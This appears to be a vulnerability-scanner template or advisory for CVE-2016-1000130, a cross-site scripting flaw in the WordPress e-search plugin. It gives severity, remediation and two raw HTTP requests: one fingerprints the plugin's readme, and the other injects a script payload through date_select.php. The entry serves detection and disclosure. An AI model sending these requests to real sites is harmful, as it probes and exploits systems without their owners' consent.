| Title | WordPress e-search <=1.0 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions. |
| Remediation | Update to the latest version of the WordPress e-search plugin to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01668 |
| CVE ID | CVE-2016-1000130 |
| CWE ID | CWE-79 |
| Tags | cve2016 cve wordpress xss wp-plugin e-search_project vuln |
Wordpress plugin e-search 1.0 and before contains a cross-site scripting vulnerability via date_select.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /wp-content/plugins/e-search/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/e-search/tmpl/date_select.php?date-from=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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